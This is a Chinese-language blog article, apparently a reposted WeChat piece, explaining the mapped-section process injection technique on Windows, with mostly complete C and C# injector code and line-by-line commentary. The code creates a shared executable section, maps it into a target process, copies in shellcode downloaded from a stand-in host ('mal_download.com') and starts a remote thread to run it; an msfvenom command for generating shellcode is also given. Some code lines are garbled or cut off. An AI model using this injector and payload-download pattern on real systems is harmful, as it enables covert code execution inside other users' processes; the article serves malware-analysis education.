Process Injection Mapped Sections
我们又带来了一篇关于常见恶意软件技术的文章。这次,我们将讨论使用共享内存区段来向远程进程注入和执行代码。这种进程注入方法使用 Windows 区段对象来创建一个可以在进程之间共享的内存区域。在攻击者创建的进程中,会创建一个具有与其他进程共享权限的内存区段。shellcode 被复制到这个内存区域中,该区域会镜像到所有共享此内存区段视图的进程中。然后,该区段被映射到远程进程,并在远程进程中启动一个新线程来执行代码。
我们将像之前的文章一样,用 C 语言和 C# 来演示这种方法。
它是如何工作的?
所有注入方法的主要目标都是在远程进程的内存空间中执行代码。这种方法使用 Windows API 中的 NtCreateSection 函数。NtCreateSection 将创建一个可在进程之间共享的内存区段。这块内存并不存在于调用应用程序的虚拟内存区域中,而是存在于内核中。这些内存空间可以由文件或页面(实际内存)支持。当应用程序想要访问这块内存区域时,需要创建一个视图。然后,该视图通过其内存管理被映射到进程的虚拟内存中。
根据内存的设置方式,视图可以允许进程读取、写入或执行内存视图。这种技术将创建一个由内存支持并与其他进程共享的区段对象(NtCreateSection)。即使恶意进程创建了区段对象,它仍需要创建一个视图才能操作它。视图是通过 NtMapViewOfSection API 调用创建的。第一个创建的视图将属于恶意进程,并且只需要读取和写入区段对象的权限,因为我们不会从这个进程执行 shellcode。
在将本地区段对象映射到恶意进程的内存后,我们将使用相同的 NtMapViewOfSection 调用将该区段对象映射到远程目标进程的内存空间中。
值得注意的是,映射区段的地址会因每个进程的内存布局而异,所以不要期望地址相同。我们不会提供恶意进程的句柄,而是使用 OpenProcess API 来获取远程进程的句柄。注意,这个进程需要是我们有权限访问的进程,即由同一用户拥有的进程。
本地和远程映射区段之间的主要区别在于,远程区段需要具有读取、写入和执行权限。写入权限取决于所使用的 shellcode。
Metasploit 生成的有效载荷包含一个会覆盖自身的混淆存根,需要写入权限,否则会崩溃。现在困难的部分已经完成,我们需要将 shellcode 复制到映射区段并执行它。
将内存移动就像使用 memcpy 从本地内存复制一样简单。一旦本地进程将内存复制到区段中,它就会在远程内存视图中被镜像。然后本地进程创建一个新的远程线程,并指示该线程执行视图内存空间。
C# 和 C++ 代码演示
这些示例中使用的 shellcode 是使用
msfvenom -f raw -p windows/exec CMD="c:windowssystem32calc.exe" -o spawn_calc.x64.sc
创建的。shellcode 没有经过任何打包或保护。
我们将首先审查用 C 语言编写的代码示例。在这个示例中,程序从远程服务器下载 shellcode,然后将其写入共享内存空间。为了简洁起见,我们不包含 getShellCode 函数的代码。
106intmain( int argc, char* argv[] )
107 {
108SIZE_Tsize=4096;
109LARGE_INTEGERsectionSize= { size };
110HANDLEsectionHandle= NULL;
111PVOIDlocalSectionAddress= NULL;
112PVOIDremoteSectionAddress= NULL;
113DWORDtargetPID=0;
114intmax=0x2000;
115
116if( argc != 2 )
117 {
118 printf("USAGE: %s <target PID>n", argv[0] );
119return -1;
120 }
121
122char* buf = (char*)VirtualAlloc(NULL, max, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
123intbuf_sz= getShellCode("http://mal_download.com/spawn_calc.x64.sc", buf);
124 targetPID = atoi( argv[1] );
125
126// create a memory section
127 NtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
128 NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
129
130 // create a view of the memory section in the local process
131 NtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL,
132 NULL, &size, 2, NULL, PAGE_READWRITE);
133 printf("localSectionAddress (%p)n", localSectionAddress);
134
135 // create a view of the memory section in the target process
136 HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
137 NtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL,
138 &size, 2, NULL, PAGE_EXECUTE_READWRITE);
139 printf("remoteSectionAddress (%p)n", remoteSectionAddress);
第 106 行:main 函数声明
第 108-114 行:设置局部变量
第 116-120 行:检查程序参数,确保用户输入了目标进程的进程 ID 用于注入
第 122-124 行:分配本地缓冲区,并用从远程服务器获取的 shellcode 填充它
第 126-128 行:创建一个在进程间共享的内存区段,具有读取、写入和执行权限。调用 NtCreateSection 返回指向该区段的指针。
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
[out] PHANDLE SectionHandle,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PLARGE_INTEGER MaximumSize,
[in] ULONG SectionPageProtection,
[in] ULONG AllocationAttributes,
[in, optional] HANDLE FileHandle );
第 130-133 行:使用 API NtMapViewOfSection 为本地进程创建共享内存的视图
视图是映射区段中唯一对程序可见的部分。程序会相互独立地为共享内存分配内存区域。如图 2 所示,两个程序在两个不同的地址空间中具有相同的数据。每个进程还可以对同一个或不同的共享内存拥有多个视图。
NTSYSAPI NTSTATUS ZwMapViewOfSection(
[in] HANDLE SectionHandle,
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in] SIZE_T CommitSize,
[in, out, optional] PLARGE_INTEGER SectionOffset,
[in, out] PSIZE_T ViewSize,
[in] SECTION_INHERIT InheritDisposition,
[in] ULONG AllocationType,
[in] ULONG Win32Protect );
第 135-136 行:使用提供的进程 ID 打开目标进程的句柄
第 137-139 行:使用 API NtMapViewOfSection 为远程进程创建共享内存的视图
对 NtMapViewOfSection 的第二次调用中,传递给 Win32Protect 参数的值必须包含写入位(PAGE_EXECUTE_READWRITE)。这是因为使用 msfvenom 生成的 shellcode 会使用 XOR 例程混淆其有效载荷,该例程会覆写自己的内存。如果不提供写入选项,代码将会崩溃。
140
141// copy shellcode to the local view, which will get reflected in the target process's mapped view
142 memcpy(localSectionAddress, buf, size);
第 142 行:将下载的 shellcode 复制到本地进程的视图中
这消除了尝试写入远程进程的需求。如图 3 所示,对一个视图的更改会在所有视图中同步反映。
143
144 HANDLE targetThreadHandle = NULL;
145 RtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL,
146 &targetThreadHandle, NULL);
147
148 VirtualFree( buf, NULL, NULL );
149return0;
150 }
第 144-146 行:在远程进程中创建线程,并将视图的内存地址作为执行点
这将导致远程程序执行 shellcode。
接下来的代码片段是用 C# 编写的,执行与上面 C 代码相同的操作。这次我们不会逐行分析 C# 代码—它几乎是 C 代码的直接移植。C# 代码被包装在 unsafe 标签中,这允许我们使用内存不安全的直接指针。这两个代码示例之间的主要区别在于我们需要定义每个API调用。
以下代码按组划分,与 C 部分的组相匹配,但第一部分除外,第一部分是已定义的 API 调用,并声明变量以使阅读更容易。以下定义是通过 pinvoke.net 获得的。
10 unsafe publicclassBlah
11 {
12 [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
13static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection
14
15 [DllImport("ntdll.dll", SetLastError = true)]
16static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, out ulong SectionOff
17
18 [DllImport("kernel32.dll", SetLastError = true)]
19publicstatic extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
20
21 [DllImport("ntdll.dll", SetLastError=true)]
22static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity, bool createSuspended, Int32 stackZeroBits, IntPtr stackReserved, IntPtr stac
23
24 [DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]
25publicstatic extern IntPtr memcpy(IntPtr dest, IntPtr src, uint count);
26
27privatestaticuintSECTION_MAP_WRITE=0x0002;
28privatestaticuintSECTION_MAP_READ=0x0004;
29privatestaticuintSECTION_MAP_EXECUTE=0x0008;
30
31
32privatestaticuintPAGE_READWRITE=0x04;
33// private static uint PAGE_EXECUTE_READ = 0x20;
34 private static uint PAGE_EXECUTE_READWRITE = 0x40;
35 private static uint SEC_COMMIT = 0x8000000;
36
37 private static uint PROCESS_ALL_ACCESS = 0x1fffff;
以下部分声明局部变量并从远程服务器获取 shellcode。
51publicstaticvoidMain(string[] args)
52 {
53byte[] buf = newbyte[10];
54 IntPtr sectionHandle = IntPtr.Zero;
55int size = 4096;
56ulong tmp = newulong();
57 UInt32 sectionSize = (uint)size;
58 IntPtr localSectionAddress = IntPtr.Zero;
59 IntPtr remoteSectionAddress = IntPtr.Zero;
60
61int buf_sz = getShellCode("http://mal_download.com/spawn_calc.x64.sc", ref buf);
62 Console.WriteLine("ShellCode of Size "+ buf_sz);
检查命令行参数以确保其包含目标进程的 PID。接下来,创建共享内存段。
63
64int targetPID = 0;
65try
66 {
67 targetPID = int.Parse( args[0] );
68 } catch
69 {
70 Console.WriteLine("Invalid parameter use an integer for the PID");
71 System.Environment.Exit(1);
72 }
73 Console.WriteLine(targetPID);
74
75// create a memory section
76 NtCreateSection(ref sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero,
77 ref sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero);
接下来我们创建共享内存段的本地视图和远程视图。图 5 展示了来自每个内存空间的段。同样地,每个进程中的内存地址都是不同的。
78
79//create a viewof the memory section in the local process
80 NtMapViewOfSection(sectionHandle, Process.GetCurrentProcess().Handle, ref localSectionAddress, IntPtr.Zero,
81 IntPtr.Zero, out tmp, out size, 2, 0, PAGE_READWRITE);
82 Console.WriteLine("localSectionAddress (0x{0:x})", localSectionAddress.ToInt64());
83
84//create a viewof the memory section in the target process
85 IntPtr targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPID);
86 NtMapViewOfSection(sectionHandle, targetHandle, ref remoteSectionAddress, IntPtr.Zero, IntPtr.Zero, out tmp,
87out size, 2, 0, PAGE_EXECUTE_READWRITE);
88 Console.WriteLine("remoteSectionAddress (0x{0:x})", remoteSectionAddress.ToInt64() );
89
将 shellcode 从下载缓冲区复制到视图中。添加 fixed 关键字是必需的,以允许对字节数组进行指针操作。图 6 展示了 shellcode 在本地视图和远程视图中的内容。
91
92// copy shellcode to the local view, which will get reflected in the target process's mapped view
93 fixed( byte* p = buf )
94 {
95 IntPtr ptr = (IntPtr)p;
96 memcpy(localSectionAddress, ptr, (uint)size);
97 }
最后,在目标进程中创建一个远程线程,指示它在视图内存空间中执行 shellcode。图 7 展示了 shellcode 执行的结果,一个计算器应用程序被启动。
98
101 IntPtr targetThreadHandle = IntPtr.Zero;
102 RtlCreateUserThread(targetHandle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, remoteSectionAddress,
103 IntPtr.Zero, ref targetThreadHandle, IntPtr.Zero);
104 }
逆向可执行文件
在过去的博客中,我们使用这部分内容来展示使用 Ghidra 和 DnSpy 对编译后的可执行文件进行反编译的过程。这些工具,连同 IDA、Binary Ninja、Radare2 等,在将可执行文件反编译回 C 或 C# 语言方面都非常出色,因此我们将不再在后续内容中包含这部分。
原文始发于微信公众号(securitainment):恶意软件分析-进程注入映射区段
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论